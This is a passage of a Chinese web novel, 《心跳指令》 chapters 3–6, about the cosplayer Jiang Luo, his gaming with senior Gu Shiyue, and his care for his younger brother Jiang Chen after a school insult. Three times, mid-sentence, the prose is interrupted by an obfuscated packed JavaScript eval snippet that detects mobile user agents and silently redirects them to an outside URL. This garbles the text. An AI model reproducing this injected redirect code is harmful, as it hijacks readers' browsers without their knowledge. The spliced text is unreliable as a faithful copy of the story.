《心跳指令》 3. 第 3 章 学长和学弟,这关系又近了一层,同在一个学校自然更容易拉近距离,何况江洛和项勤性格都比较外向,两人聊了一路。 顾时越和项勤一行人是早晨出门的,徒步完回来才刚中午。江洛也是刚出门就又回校了,他和项勤都还没吃饭,两人一起去了食堂。江洛这副扮相实在瞩目,走在校园里一路上回头率都很高,他大大方方的,没半点不自在。 倒不是想当显眼包,他去学校食堂打饭主要是因为食堂的菜好吃还便宜。 今天出门江洛没想到会这么早回来,他没带校园卡,买饭的时候项勤顺手帮他刷卡付了钱,江洛立马要给项勤转账,项勤说不用,后来实在拗不过江洛,两人加了微信好友,江洛把钱转给了他。 江洛没在食堂吃,打包了份快餐回了宿舍。今天周末,这会儿又是饭点,室友都出去了,宿舍里就他一个人。 一到宿舍,江洛先把戚雪影给他的cos服从袋子里拿出来挂在了衣柜里。 这套cos服是戚雪影自己做的,并且是按江洛的身材量身定做的。做手工是戚雪影的爱好,她日常做lo裙多一点,偶尔做cos服也是给自己穿。 她给江洛做cos服是单纯的为爱发电,就是自己乐意,自己喜欢。 谁不想看帅哥cos自己喜欢的角色,这么伟大的一张脸,不多出点经典角色那可太暴殄天物了。 吃完饭江洛约了位熟人摄影师,打算下午去拍照。江洛喜欢cos,在coser圈里也算有点名气。他在社交平台上有账号,偶尔会发cos照,本身原生条件优越加上cos质量高,账号粉丝自然不少。 今天的cos出都出了,不能浪费了。既然计划有变委托取消,那就约拍吧。 江洛约的下午三点,两点多的时候程嘉树发了条消息来,约他打游戏。 程嘉树是江洛朋友,两个人初中就认识了,在漫展上认识的,那会儿两个人都还是小小中二少年,初中高中都不是一个学校,友谊却意外的深厚,这么多年关系还是很铁。 两人初中高中没在一块,大学倒是考进了同一所学校。不过不在一个专业,程嘉树是国贸系的,江洛是计算机系的,两个人目前大二在读。 程嘉树和江洛一样,也喜欢二次元cos这些,毕竟两人当初相识就是在漫展上。程嘉树不仅是个二次元,还是个网瘾少年,爱打游戏,为此专门在学校附近租了个小公寓,安置了一整套电脑设备,就为了打游戏。他家里是做生意的,本人是个大大咧咧又有点咋咋呼呼的公子哥。 江洛拿起手机看了眼消息。 程嘉树:来打游戏 江洛回复:来不了,我一会儿有事 程嘉树:啥事? 江洛:约了个摄影师拍照 程嘉树:拍什么照? 程嘉树:你今天出cos了? 江洛:[小狗点头.jpg] 随后程嘉树直接打了通电话过来。 “出c不叫我,在哪儿拍照呢,发个定位来,我也要去。” “没去呢,我还在学校。” “你今天怎么突然出cos?有活动?” “接了影总的委托,她临时有事,取消了,我就约了拍照。” 程嘉树“靠”了一声:“这事我怎么不知道?戚雪影怎么找你约委托了,你俩搞啥?” 戚雪影和程嘉树也认识,她比江洛和程嘉树都大,最开始是程嘉树嘴贫叫她“影总”,后来江洛也跟着这么叫了。 他们三个是在漫展上遇到的,那时候江洛和程嘉树大一,刚进大学没多久。那天戚雪影穿的是lo裙,裙子厚,九月的天气还是很炎热,她热到中暑,蹲在展厅过道的贩卖机旁边站不起来,当时周围人来人往的,没人发现她不对劲,是路过的江洛注意到了她。 那天戚雪影是一个人去的漫展,如果不是江洛注意到她还及时送她去医院,她可能就直接晕在那了。 从那以后,三个人就认识了,有共同的兴趣爱好很容易处成朋友,线上有话聊,线下还能一起参加活动。 江洛有很多这样的圈内好友。 程嘉树想不通戚雪影怎么会找江洛约委托,更想不通江洛竟然会接戚雪影的委托,两人都熟成这样了,这是在闹哪样。 说实话,戚雪影当初找江洛提这事的时候江洛第一时间就拒绝了,毕竟他接委托是要收费的,而且费用还不低,想看他出指定角色的cos大不了以后线下活动出,没必要特意约委托。 戚雪影说性质不一样,她说委托当天自己也要出cos,出的角色是江洛那个角色的cp,她还要拍照,得占用他一整天时间,这当然得按时长收费。 至此戚雪影腐女的属性也暴露了,江洛了然,笑着说:“好吧,懂了。” 他不想收戚雪影的钱,戚雪影又说一码归一码,别因为朋友就特殊对待,江洛掰扯不过她,就答应了。 听完江洛解释,程嘉树笑出声来:“服了。真的,我一直很害怕腐女这个群体。” 江洛不接乙游角色的委托,接的一般都是动漫角色,或者一般向游戏角色。戚雪影嗑的这对cp不是真情侣,只是有很多人嗑这一对。 江洛和程嘉树约在北门碰面,校门口人来人往,江洛顶着一头银发站在共享单车前等人,路过的学生频频回头看他。有个女生握着手机走过来,笑盈盈地小声问他:“不好意思打扰了,那个,我可以跟你拍个照么?” 江洛笑了笑,说:“可以。” “啊啊啊谢谢谢谢。”女生赶忙拿起手机,切换到前置镜头,她个子比较娇小,胳膊不长,手机摆弄半天没找到合适的位置,江洛的头顶都还在镜头外。 “我来吧。” “啊?哦哦,好的……”女生红着脸把手机交到他手里。 江洛接过她的手机找好角度拍了几张照,便把手机还给了她。 漫展被人集邮是江洛的家常便饭,这套业务他太熟练了。 第一个找江洛合照的女生开了个口子,她照完之后便陆陆续续有人走过来问江洛能不能拍照。短短一会儿工夫,江洛站的那块地都快成打卡点了。 程嘉树过来的时候正巧看到这一幕,等路人合完照他才走过去道:“不是你这也太帅了。” 江洛是第一次cos这个角色,程嘉树之前没见过,打眼一看是真的很惊艳。 “不一直都很帅么。”江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771576|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛扬了扬眉毛。 “啧啧……牛。”程嘉树盯着他的脸细细欣赏。 “我知道我很牛,但是现在先别牛了,赶紧走吧。”江洛催促,再不走真成打卡吉祥物了。 江洛转身去扫共享单车上的二维码,程嘉树在他背上拍了一下,恨铁不成钢:“顶着这么一张脸你骑共享单车,你是不是要演小品。” “拍照的地方不远。”江洛说。 “我不要骑车,累。”程嘉树拿出手机准备打个滴滴,“打车。” “花那钱,”江洛觉得还是共享单车更好,又便宜又环保,“骑车一会儿就到了。” “我打,你别管。”程嘉树立刻叫了辆车。 顾时越到家就把拍的照片传给了戚雪影,戚雪影忙了一下午,快傍晚的时候才回消息。 她本意让顾时越随便拍几张全身照看看江洛今天的cos出装,没想到顾时越拍得这么好看,照片像素还这么高清。 顾时越刚喂完猫,给猫套上背带正准备带它出门遛遛,茶几上的手机震了一下,他拿起来看了眼,是戚雪影发来的消息:你拿相机拍的啊? 顾时越:嗯 戚雪影:我天你好会拍,好好看啊 戚雪影:美晕了 顾时越连带着把录的那一小段视频也发过去了,视频在视觉上更有冲击力,虽然只有十几秒,但还是把戚雪影美得眼前一亮又一亮。 戚雪影把照片连同视频转发给了江洛。 江洛和程嘉树正在吃饭,打开手机眼睛一亮,表情有点惊讶。 程嘉树看着他:“看什么呢?” “照片。”江洛一张一张往后翻,照片不多,就几张,但是拍得特别好看,不管是构图还是画面色彩都很有审美,都比得上今天下午那位专业摄影师拍的了。 翻到最后一张,是一小段录像,江洛点开看了眼,画面里的人是动态的,但是画面很安静,只有背景音带着细微的风声和紫藤花扬起的“沙沙”轻响,像助眠的白噪音。 江洛很喜欢这段视频,他问戚雪影:影总,能不能帮我问问你哥哥,这段视频我可以发微博吗? 戚雪影觉得江洛真是乖得可爱,这种事还要托她询问。 戚雪影:这有什么不可以的,发呀 江洛:还是先问问你哥,毕竟是他拍的,版权归他嘛 戚雪影:好,我帮你问 戚雪影一边说着“真可爱啊”,一边截了张图发给顾时越。 顾时越在遛猫,口袋里的手机震了震,他掏出来扫了一眼。戚雪影发来一张截图,他点开一看,单手打字回复:随他。 因为地铁上帮忙挡熊孩子那件事,江洛对戚雪影这个哥哥印象还挺好的,话接话多聊了两句。 江洛:影总,他是你亲哥吗? 戚雪影:傻孩子 戚雪影:你看我俩长得像吗? 确实不像,戚雪影很漂亮,她这个哥哥也帅得惊人,但两人五官并不相似。 江洛:哈哈,确实不像 戚雪影:是表哥,我妈是他姑姑 戚雪影:对了,他也是你们学校的,是你学长哟。 江洛回了一句:我知道哟。 4. 第 4 章 江洛在每个平台的账号都发布了顾时越拍的那一小段录像,有时候就是这样,无心插柳柳成荫,无意中录下来的瞬间反而达到了意想不到的效果。那段视频氛围十足,清新又充满美感,浏览量特别高。 连江洛的室友都刷到了这条视频,上课摸鱼期间拿着手机悄声问他:“我靠,江洛这是不是你啊?” 江洛垂眸看了一眼,小声说:“是啊。” “我靠我靠。”室友低着头,手机藏在桌肚里,又点开视频刷了一遍。 江洛多少算个网络小红人,室友们还是知道的,不过他们都是圈外人,不搞二次元,头一回以路人视角刷到江洛的视频,还挺新奇的。 室友点开评论区看了看—— -神迹。 -这是神吗?打错了,这是什么? -并非打错。 -怎么能这么还原我靠!!!!!完全就是渚薰救命@爱吃辣条 -再冷漠的人看见这张脸都会笑出来@momo(见过杰伦版) -“不要露出这样的表情,我们还会再见面的。”[哭] -好伟大的一张脸[爆哭][爆哭][爆哭][爆哭][爆哭] -我操这么美我操@雌霸天下 …… 今天周五,学生们难免心思躁动,下午最后一节课摸鱼划水的人很多,下课铃一响更是按耐不住,坐在位置上蠢蠢欲动,下一秒就能冲出教室。任课老师无奈地笑笑,扔掉粉笔说:“好了好了,下课吧。” 教室顿时喧闹起来,江洛和他几个室友坐一片,下课后室友提议晚上一起去吃烤肉,江洛背上书包说他今天要回家,不跟他们一起了。 江洛是江苏人,他上的大学就在省内,回家坐高铁一个多小时就能到。他有个弟弟叫江晨,现在高二在读,今天放假,他回家是专程去接弟弟的。 江晨上的是市重点高中,虽然每周都正常放假,但两个礼拜才能回趟家。江洛也雷打不动每两周都会回家一趟,去接他弟放学。 这周是开学的第一周,学校第一个礼拜就放人了,往后就得两个礼拜才放一次人。 江洛到站后直接在站内坐地铁去了江晨的学校,这个点校门口都是人,江洛找了个视线好的位置,没等多久就看到他弟背着书包走了出来。 江晨穿着宽松的蓝白校服,出校门后停在原地,下意识四下扫了一眼。兄弟俩对彼此的身影都太熟悉了,江洛抬起胳膊招了下手,江晨就看到他了。 江晨没什么表情的脸上浮现出一丝笑意,快步朝江洛走来。 “哥。”江晨变声期过了,声线比以前低了很多。 十五六岁正是蹿个儿的阶段,这才过去一礼拜,他比江洛上次见他好像又高了点,头发也长了,看着有点乱。 “你头发长这么快。”江晨和江洛差不多高,个子快赶上他了,江洛搓搓他的头发,把人家好好的头发搓得更乱,“一个礼拜不见成野人了。” 江晨任由他乱搓:“你在学校关一个礼拜你也野人。” “那我还能不知道?”江洛笑得眼睛弯起来,“我又不是没经历过,江苏学子就是这么命苦。” 江晨手里捏着一张信封,还是粉色的。 “哎?你手怎么了?”江洛垂眼一看,这才注意到江晨右手手背指关节处有擦伤的痕迹,已经结痂了,他抓起江晨的手看了一眼,“手怎么弄破了?” 江晨愣了两秒,说:“体育课跑步摔的。” “怎么跑个步还摔了。”江洛皱了皱眉。 “跑急了。”江晨把手收回来,顿了片刻,说:“脚抽筋。” “钙片吃没?没我看着是不是又不吃了。”江晨从小就不爱喝牛奶,奶制品也不喜欢。 “吃的。”江晨说。 “每天都要吃。” “嗯,知道。” 江洛看了眼他手里的信封,笑着问:“这什么?” 江晨低头看了看,说:“信。” “还是粉色的呢,”江洛嘴角翘了翘,“情书吧。” “不知道,应该是的。”下课后走廊上一个女生递给他的,给完就跑了,脸都没看清。 兄弟俩长得都俊,江晨青春期一过帅模样就透出来了,上高中后经常收到情书。 江晨说着撕开信封扫了一眼里面的信,内容不长,言语间都是表达爱慕,这显然就是一封情书。他把信从头到尾看完以示尊重,看完之后就把信扔进了旁边垃圾桶。 “走吧,哥。”江晨勾了勾书包的背带。 “看完就扔,你还看它干嘛。”江洛失笑,“我还以为你对人家有意思呢。” 江晨表面看着冷冷的,其实内里有点天然呆,是个性格淡淡的乖小孩。 “不看不尊重人。”江晨说。 江洛被他逗笑了:“看完就扔,这就尊重人啦?” 江晨很认真地解释:“家里没那么多地方放这些信。” 这种经历江洛也有过,他懂。 江晨看他哥一眼,揭他老底:“你也收过不少吧,也没见你好好收着。” 江洛满口胡诌:“我当然收着了,哪能让你看到。” “骗人。” 江洛“噗嗤”一笑,揉揉他的头发:“这头发乱的哎,明天带你去剪头。” “哦。” 江洛拿出手机准备打个车,还没输好地址就接到了他叔叔的电话。 “哎,洛洛啊,今天是不是回来啦?” “对,我来接小晨。” “人接到了吧?今天过来吃晚饭吧,你婶婶做了好些菜,你带小晨一块儿过来。” 江洛看了江晨一眼,用口型说:“叔叔叫我们过去吃饭。” 江晨眉头一皱,撇开脸说:“不想去。” 得亏周围都是人,人声嘈杂,电话那头的叔叔没听到他的声音。 江洛本来也不想去,而且他从来都尊重江晨的想法,他找了个借口回绝了他叔:“叔,我跟小晨今天在外面吃饭,他跟我说想吃烤肉,我已经订好座了。你跟婶婶说一声,我们就不过去了。” 他叔叔从来都是揣着明白装糊涂,知道兄弟俩是不愿意过去吃,也没勉强,笑着说:“那行,你们兄弟两个路上当心点,吃完饭别太晚回家。” “嗯,好。” 江洛挂了电话,江晨还撇着脸看着别处,脸有点臭,江洛一把揽住他的脖子,笑眯眯道:“行了,别绷着张脸了,咱不去他们家吃饭。” 江晨点了点头:“嗯。” “你越大越藏不住事了啊江小晨,”江洛戳他脸蛋,“咱表面功夫好歹做做好嘛,晚点婶婶又有话说。” 江晨面无表情道:“烦那俩双胞胎。” “我也烦。”江洛说。 江洛爸爸过世得早,那时候兄弟俩都还不记事,是他妈妈一个人把他们拉扯大的。江洛高一那年他妈妈生了病,急性病,病来如山倒,连好好治疗的机会都没有,他妈就走了。那时候江晨还在上小学。 他们家亲戚不多,血缘关系最亲的也就这个叔叔,是他们爸爸的亲兄弟。 妈妈临终前把他俩托付给了叔叔,还给了叔叔他们家一笔钱,作为照料俩孩子的补偿。妈妈过世后,叔叔把他们接回家住过一段时间,那时候江洛在念高中,平常住校不回家,只有江晨一个人在叔叔家住。 叔叔自己也有孩子,是对双胞胎,比江晨小两岁,一个比一个闹腾,又皮又爱欺负人。他叔叔耳根子软,在家里说不上话,大小事宜基本都是他婶婶说了算,家里三个小孩要照料,难免厚此薄彼,江晨性格又比较闷,过得不开心也不跟江洛说。 他情绪好不好江洛还能看不出来,后来是江洛主动提出要搬回家住。他婶婶喜不自胜,走了个拖油瓶松一大口气,俩大人拿了钱,孩子倒没怎么管,就每天让过来吃顿饭。 江洛后来就不住校了,江晨从小学升到初中那几年,基本都是江洛在带他。他自己还是个孩子呢,就要养弟弟了。 “走吧,我们去吃烤肉。”江洛拍拍江晨的后脑勺。 “不想在外面吃。”江晨说,“我想回家吃。” 江洛笑了:“回家吃啥,吃我做的饭啊?” 江洛做饭不好吃,高中起就给江晨做了,这么多年都没长进,还是难吃。他一直觉得做饭也需要天赋,反正他是没这方面的天赋。 江晨点了点头:“嗯。” “行,那我们去超市买菜,我叫个滴滴。” 如果是江洛自己去,他肯定不会打车,江晨知道。 妈妈临终给他们留了一笔存款,为保证日常生活需求这几年也消耗了大半,兄弟俩虽然不算穷到难以维持生计的地步,但家里终究没有稳定的收入来源,日子过得紧巴巴。 江洛上大学后打好几份工,手里有点钱就转给江晨。江晨知道他哥这些年很辛苦。 “这个点坐车很堵,坐地铁吧。”江晨说。 “也是,”江洛点头,“走吧。” 兄弟俩坐地铁去了家附近的超市,买了江晨爱吃的菜。原材料再好也没用,给江洛做就是糟蹋。江洛主厨,江晨给他打下手,江晨倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771577|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是也想给他哥哥做顿饭,可惜他做饭比他哥更难吃。 一进门江小晨就问他哥哥了:“哥,要不我来做?” 江洛就害怕他弟对做饭这件事灵机一动,他一口回绝:“婉拒了嗷。” 江晨撇了撇嘴。 “我做饭好歹还能咽,也不会把厨房炸了。你做……风险太大。” 江洛烧的菜卖相不错,但味道未知。他今天还蛮有自信的:“尝尝。” “嗯。”江晨夹了一筷醋溜土豆丝。 江洛一脸期待地看着他:“味道怎么样?” “好吃。”江晨边嚼边说。 “真的啊?”江洛觉得自己又可以了,他立马夹了一筷土豆丝塞进嘴里,刚嚼两下牙齿就定住了。 江晨又夹了一筷土豆丝愉快地嚼着,眼神清澈地看着他。 江洛嚼吧了两下,试图咽下去,结果发现做不到。又酸又咸,他感觉这坨土豆丝在殴打他的口腔。 江洛转头把土豆丝吐到了旁边的垃圾桶里。 江晨教育他:“不要浪费粮食。” “我就知道不能相信你的鬼话。”江洛笑着喝了口水,“亏我刚才还燃起了做大厨的希望。” “努力努力还是可以的。” “别这么说,我会当真的。” 江晨从小就这样,不管江洛给他做什么他都说好吃。不是捧场,他是真喜欢吃江洛做的饭。这大概就是来自弟弟的溺爱,江洛有时候都觉得是不是自己做饭太难吃,把他味觉整失灵了。 吃完饭江晨主动去洗碗,他现在长身体,江洛烧的一大半菜都是他吃的,食量惊人。江洛嫌难吃,自己没吃多少,刚在超市还买了零食,江晨在洗碗,他一个人窝在沙发那儿吃零食。 江晨洗好碗甩着两只湿漉漉的手从厨房里走了出来,江洛懒洋洋地叫了一声:“江小晨。” “干嘛?”江晨拿纸巾擦了擦手,视线看向他。 “过来玩。”江洛打开电视机。 “我不玩,我要写作业。”江晨说着往书房方向走。 江洛从沙发上坐起来:“今天才周五啊孩子。” “今天写完,明后两天就能玩了。”江晨开门进屋,转头说,“你自己玩,不要打扰我。” 这娃从小就这样,自律得可怕。 江洛点点头:“收到收到。” 江洛“咔吧咔吧”嚼着薯片,手边的手机震了两下,程嘉树找他。弟弟不跟他玩,有人跟他玩。程嘉树喊他打游戏,本来想五排开黑,结果叫上江洛还差一个人。 “谁再拉个人来。”程嘉树开着队内语音说。 江洛扫了眼列表,发现有个熟悉的头像在线,是项勤,那天在地铁上认识的学长。之前他跟项勤加了微信好友,项勤也玩这游戏,所以江洛列表里有他的号。 反正缺人,江洛试着邀请了一下他。 三秒后,队伍里多了一个人。 “哎?”项勤的声音从扬声器里传出来,“五排啊。” “学长好。”江洛打了声招呼。 顾时越坐项勤对面,听到他手机里传来的熟悉声音,抬起眼皮看了他一眼。 “学弟好。”项勤笑了笑。 “我们五排缺人,你玩不?”江洛问他。 “玩啊,反正没事。” 顾时越和项勤今天约了一帮人出来爬山,还是之前徒步那一行人。他们在山上订了个农家院,准备在这过夜,明早去山顶看日出。 这会儿一伙人在室外的院子里吃烧烤,项勤刚喝了好几听啤酒,玩了两把游戏有点尿急,其他几个人在那打牌,就顾时越空着,他把手机递给顾时越:“你替我会儿,我去上个厕所。” 顾时越没接,项勤“啧”了一声:“我真憋不住了,老大。” 顾时越不玩游戏,他眼皮都没抬一下:“我又不会。” “你苟着就行,不用跟人对线,我马上就回来。” 顾时越接过手机扫了一眼界面,项勤玩的是打野位,顾时越站原地操作了几下熟悉技能。 “你打野怪就好了。”是江洛的声音。 江洛在手机那头早听出了顾时越的声音,怕他不知道怎么操作,特意提醒了他一下。 顾时越“嗯”了声,操作技能键去打野怪。江洛玩的是辅助,本来在辅助程嘉树,打野换人后他就跟着打野了。顾时越走哪儿他跟哪儿,像个小跟屁虫。 顾时越刷完一波野,随口问了一句:“跟着我干什么。” 清透的少年音隔着手机传过来:“保护你呀。” 5.第 5 章 顾时越沉默片刻,回了句:“谢谢。” “不客气不客气,应该的。”江洛说完在他旁边绕圈圈,游戏人物小小一个,围着顾时越的游戏角色愉快地绕来绕去。 “有人来你就躲我身后。”江洛说,“我血条厚,抗揍。” 顾时越应声:“嗯。” 程嘉树幽幽地开口:“这样哄孩子的话你从来未对朕说过。” 江洛笑着躺倒在沙发上。 对面有两个人来他们家野区反野,正面迎上顾时越和江洛,顾时越刚才打了一波野怪已经熟悉技能,他半路替项勤玩的,经济本来就高,连带着伤害也很高,在江洛的辅助下一通操作居然把对面双杀了。 “牛啊。”程嘉树赞了一声。 “哇,你好厉害。”江洛跟在顾时越身后,飞过去给他加血。 小跟屁虫看着更有活力了,安上一双翅膀就能原地起飞。 顾时越没觉得有多厉害,客观说明:“没你就死了。” “不是不是,真的是你厉害。”江洛趴在沙发上,抱着靠枕笑了笑,“而且我不会让你死的,保证护你周全。” 江洛不是捧场,他是真心觉得顾时越厉害。毕竟他玩的这个游戏角色操作还挺复杂的,刚才拿了双杀也显然不是误打误撞,是有意识和操作的。第一次玩这游戏,上手居然这么快,别的不说,这反应能力是真的强。 程嘉树玩的输出位,没江洛的保护,他这个脆皮果然被针对了,短短一分钟被杀了两次。江洛乐此不疲地跟着顾时越,完全不顾他死活了,程嘉树出声控诉:“还回家吗孩子?我死两次了都,你管管我啊。” “来了来了。”江洛走前还跟顾时越打了声招呼,“学长,我先保护一下他嗷。” 顾时越“嗯”了声。 “眼里没别人了你也是。”程嘉树一边操作一边躲对面技能,“再不管我我要闹了。” 顾时越瞥了眼小地图,提醒江洛:“右边草里有人。” “嗯嗯。”江洛还真没注意,差点被抓。 项勤很快就回来了,远远看见顾时越嘴唇一张一合的在说话,还挺稀罕。回来一看顾时越不仅没死,还拿了两个人头。 “可以啊。”项勤接过手机,看了看顾时越,“学霸脑子就是好使啊,玩游戏上手都这么快。要不你玩吧,我刚啤酒喝多了,这会儿困劲上来了,想小憩一会儿。” “自己玩。”顾时越说完起身走了。 江洛在手机那头问:“你困了啊?要不打完这把就结束?” 项勤笑着说:“不困,我骗他呢,招他多说点话。我看他跟你话挺多。” 江洛嘿嘿笑了两声:“是我话多。” “所以啊。”项勤轻笑,“你招他他有话,别人招他他还不一定搭理。” 江晨在书房待了两个多小时才出来,当天晚上就把周末的作业做好了,他没别的爱好,就是爱睡觉,所以做完作业早早睡了,不像江洛这个小夜猫,熬到半夜才睡。 第二天早上江洛特意定了个闹钟,八点就起床了,洗完漱就去敲江晨的门念经:“江小晨江小晨,起床了起床了。” 江小晨没搭理他,翻身蒙上被子继续睡。 江洛开门进屋,江晨裹着被子蚕蛹似的蜷缩在床边,江洛走过去拿靠枕在他背上拍了一下:“起床啦,跑步啦,起床起床起床。” 江晨蠕动了两下,声音闷在被子里:“不想起……” 江洛拽他被子:“不想起也得起,一日之计在于晨知道不。” 江晨在其他任何事上都自律至极,除了起床这一桩,大周末的没有谁能阻止他大睡特睡,除了他哥。 其实八点也不早了,但他就是不想起。江晨挣扎了好一会儿才掀开被子坐起身,顶着一头乱毛睡眼惺忪地看向他哥:“可不可以不跑步。” 商量的语气,听着还挺可怜。江晨不是不想跑步,他只是不想起床。 “不可以。”江洛笑着拽他起来,“你跑完再睡么。快,去洗脸。” 江洛妈妈当初是生病去世的,那阵子江洛几乎天天在医院,亲眼看着他妈身形一天一天地消瘦,精神一点一点地黯淡,虚弱得像一株快要枯萎的草。他不知道为什么妈妈突然就这样病了,毫无征兆,人在被疾病缠身的时候就像一只随时能被捏死的蚂蚁,渺小又无力。 从那以后江洛就很害怕自己身边的人生病,江晨偶尔发个烧都能让他心里发慌。偏偏江晨小时候体质弱,隔三差五就有点小毛小病的,江洛就让他跑步,让他锻炼,加强体质。 现在不比小时候,江晨个子快赶上他了,体格也不比他差。再过两年兄弟俩就该对调了。 江洛属于宽于律己,严以待人,他自个儿在学校从不早起锻炼,一回家倒是对江晨严格督促。 江晨住校每天都要晨跑,他下了床一脸哀怨地看着江洛:“我在学校跑得够够的。” “所以啊,放假了也要保持在学校养成的好习惯,我陪你一块跑。”江洛笑着推他去洗手间,“在学校能跑,在家怎么就不能跑了。你就是想睡懒觉,起床困难户。” 江晨转过头来问他:“你在学校也每天早上都跑步么。” 江洛笑嘻嘻的,没接话,推着他往前走。 “就知道。”江晨淡淡地说,“哥,你知不知道什么是‘己所不欲,勿施于人’。” 江洛装傻:“不知道,没听过。” 跑完步回来洗了个澡,江晨又回房睡了一觉。中午哥俩还是在家吃的饭,吃完午饭江洛带江晨去理发店剪头发,江晨图省事,直接让理发师给他剪了个板寸。 下午江洛又领江晨去了商场,想带他买两套新衣服。江晨这也不要,那也不要,逛一下午一件衣服没买成。理由是在学校要穿校服,买了也没机会穿。江洛知道他就是想给自己省钱,最后没买衣服,给他买了双新球鞋。 晚上江晨的同学来找他打球,一进屋就被他的新发型惊到了,咋咋呼呼道:“我靠你咋秃了!” 江洛“噗嗤”笑出声来:“怎么说话呢。” “江洛哥。”田皓宇嘿嘿一笑,“你带他去剃的头啊,咋剃成这样。” “他自己要剃的,劝不住。”江洛走过来在江晨脑袋上摸了一把,硬硬的发茬还挺扎手,“这不挺好?不帅吗。” “太man了有点。”田皓宇抱着篮球直乐,“我估计能把班上那些女的吓一跳。” 田皓宇就住他们小区,跟江晨和江洛从小就认识。江晨比田皓宇小一岁,他初中的时候跳了一级,高中就直接跟田皓宇同级了,两人是一个班的。 江晨要换条宽松的裤子,回房间去了,田皓宇坐在沙发上等他,顺便问江洛:“你跟我们一块去吗哥?” “我不去,你俩玩吧。”江洛的手机响了,是他叔叔的电话。 “洛洛啊,晚饭吃没?” “吃了,叔。”江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786022|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛边说边往阳台走。 “在家吃的啊,还是在外边?” “外边。”这个点他叔叔来电话大概是有事,江洛跳过寒暄,直接问,“怎么了,有什么事吗?” “嗯是,是有点事。”叔叔放低了声音,“本来我是觉得这事没必要特意跟你提一嘴,但你毕竟是小晨的哥哥么……” 江洛眉头一皱:“小晨怎么了?” “没什么大事,你先别急。就是上礼拜,他在学校差点跟人打起来——” 江洛一愣:“什么?” “体育课,跟同学闹矛盾了,那天放学他们班主任还给我打了通电话……” 江洛默默听他叔叔说明情况。 “回头你跟他聊聊吧,这孩子也就跟你有话说,我跟他聊也聊不出什么来。” “嗯,我知道了。给您添麻烦了。” “哪的话。”叔叔笑起来,“你啊,找个机会跟他好好谈谈心,他这个年纪正是性格定性的时候,不好好引导很容易走歪的……” 这话听得江洛不太舒服:“小晨什么性格我知道,他自己有主意,没人引导也不会走歪,这一点您不用操心。” 江洛挂了电话,回头看到江晨从屋里走了出来,他看了江晨一眼,把手机放回了口袋。 “哥。”江晨走过来道,“我出门了。” 江洛笑了笑:“去吧。” 尽管江洛反应如常,江晨还是从刚才他看自己的那一眼里察觉到了不正常。江晨性格比较钝,人淡淡的很多时候不那么敏感,他和江洛是亲兄弟,血脉相连,从小一起长大的默契刻在骨子里,他再钝在他哥的事上还是敏感的。 “哥。”江晨看着江洛,“你是不是有事?” 江洛笑了声:“还挺敏锐。” 江洛本来没想现在提这事,他想等江晨打完球回来再说。江晨情绪稳定,从小就乖,这里面肯定有事,不然不至于到跟人差点打起来的程度。 “是有事,小事。”江洛说,“你回来再说,现在去玩吧。” “能不能现在说。” 江洛想了想,走过去往沙发上一坐:“行,那就现在说。” “叔叔刚给我打电话,说你前几天在学校差点跟人打起来。” 江晨知道这事大概率瞒不过他哥,他垂下眼皮,“嗯”了一声。 江洛视线落在他右手上:“所以你手上的伤到底是怎么弄的?” 江洛微微蹙起眉心:“是别人弄的?” “不是,是我自己……砸墙上弄的。” 江洛深吸一口气:“还骗我说是摔的,江小晨你出息了啊,都会骗人了,连我都骗。” 江晨垂着眼睛没吭声,他没作解释,反倒是旁边的田皓宇跳出来替他辩驳:“我靠,是那傻逼先犯贱啊,哥。” 江洛看向他,田皓宇抱着篮球快步走到江晨身旁:“哥,你别说晨儿了,是那傻逼先犯的贱,他先嘴贱骂人的。那傻逼自己追的女的看不上他,喜欢咱晨儿,他不爽呗,逮着机会就找茬。” 江洛皱着眉:“他平时经常欺负小晨?” “那倒没,”田皓宇扬着下巴,“有我在他敢?怂逼一个。” 江洛看向江晨,声音软了下来:“到底怎么回事啊。” 江晨垂眸不语。 “就……”田皓宇看了眼江晨,揉了揉鼻子说,“就那天体育课,那傻逼犯贱么,他骂晨儿……‘孤儿’。” 6.第 6 章 江晨上的是重点高中,学校里大部分学生都是循规蹈矩的乖小孩,当然也有一些像这个男生一样靠钱靠关系来借读的纨绔子弟,平时不把学习当首要任务,脑子里没点正经事。 正如田皓宇所说,这个男生因为追女生的事一直跟江晨不对付,体育课上学生间玩玩闹闹的难免有摩擦,本来那男生就看江晨不顺眼,随便找个理由就能撩架,江晨也不是没脾气,那人在他这碰了钉子,又被喜欢的女生看着,面上挂不住,恼羞成怒走到江晨身旁在他耳边骂了句“孤儿”,当时田皓宇就在旁边,别人没听到,他可听得一清二楚。 对方当然知道“孤儿”这两个字对江晨意味着什么,他要不清楚就不会骂这一句了。 